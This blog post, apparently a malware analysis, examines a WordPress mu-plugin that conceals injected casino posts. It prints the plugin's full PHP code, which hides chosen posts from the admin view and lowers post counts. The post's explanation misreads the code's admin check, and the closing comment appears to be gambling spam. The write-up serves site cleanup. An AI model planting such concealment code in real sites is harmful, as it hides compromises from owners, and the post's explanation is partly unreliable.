DEV Community

MD Pabel
MD Pabel

Posted on • Originally published at mdpabel.com on

Hidden Casino Content Injection

Technical Analysis

I found a file named hide-hidden-posts.php in the mu-plugins directory, which alters WordPress queries. It hides IDs configured in the apft_hidden_post_ids option.

Code Analysis

  • Function: apft_get_hidden_ids retrieves post IDs from options, ensuring they are integers and valid.
  • Hook: pre_get_posts adds hidden IDs to the query's post__not_in parameter, excluding these posts from being displayed to non-admin users.
  • Filter: wp_count_posts also subtracts hidden IDs from the published count.

Possible Malicious Behavior

Considering the screenshot [below], the website is displaying content related to casinos and gambling, which might not be intended given that it's injected via hidden posts. The plugin may hide certain posts and replace them with other content using a similar technique.

VirusTotal Analysis: 🛡️ Zero-Day / Fully Undetected.

Attack Chain

Code Signature(s)

FILE: hide-hidden-posts.php

<?php
    if (!defined('ABSPATH')) exit;

    function apft_get_hidden_ids() {
        $ids = get_option('apft_hidden_post_ids', array());
        if (!is_array($ids)) $ids = array();
        return array_filter(array_map('intval', $ids));
    }

    add_action('pre_get_posts', function($q){
        if (!is_admin() || !$q->is_main_query() || $q->get('post_type') !== 'post') return;
        $ids = apft_get_hidden_ids();
        if ($ids) {
            $not_in = $q->get('post__not_in') ?: array();
            $q->set('post__not_in', array_unique(array_merge($not_in, $ids)));
        }
    }, 5);

    add_filter('wp_count_posts', function($counts, $type){
        if ($type !== 'post') return $counts;
        $ids = apft_get_hidden_ids();
        if (!$ids) return $counts;
        $hidden = get_posts(array(
                'post_type'=>'post','post_status'=>'publish','post__in'=>$ids,
                'fields'=>'ids','nopaging'=>true,'suppress_filters'=>true
        ));
        $n = is_array($hidden) ? count($hidden) : 0;
        if (isset($counts->publish)) $counts->publish = max(0, (int)$counts->publish - $n);
        return $counts;
    }, 10, 2);

Enter fullscreen mode Exit fullscreen mode

Indicators of Compromise (IOCs)

  • hxxp://example-casino[.]com

Removal Protocol

  1. Review and verify the purpose of hide-hidden-posts.php.
  2. Check apft_hidden_post_ids for unwanted entries.
  3. Backup and delete suspicious entries.
  4. Ensure no unauthorized users can alter files.

Status: Active Threat.

Verification: Verified by MD Pabel.

Top comments (1)

Collapse
 
ausbernardddtech profile image
ausbernarddd-tech • Edited

I recently came across thecrazychicken.eu/ while browsing for something different to try online, and I was honestly surprised by how simple and easy everything felt. A lot of websites in this niche try too hard with flashy designs and endless popups, but this one felt much cleaner and more straightforward. I especially liked that I could understand the layout immediately without spending ten minutes figuring out where things were hidden. It also loaded pretty quickly on my phone, which is something I always notice because many similar sites become frustrating on mobile. I’m still exploring all the features, but so far the overall experience feels smooth and beginner friendly. Curious if anyone else here has spent more time with it and what your impressions were after longer use.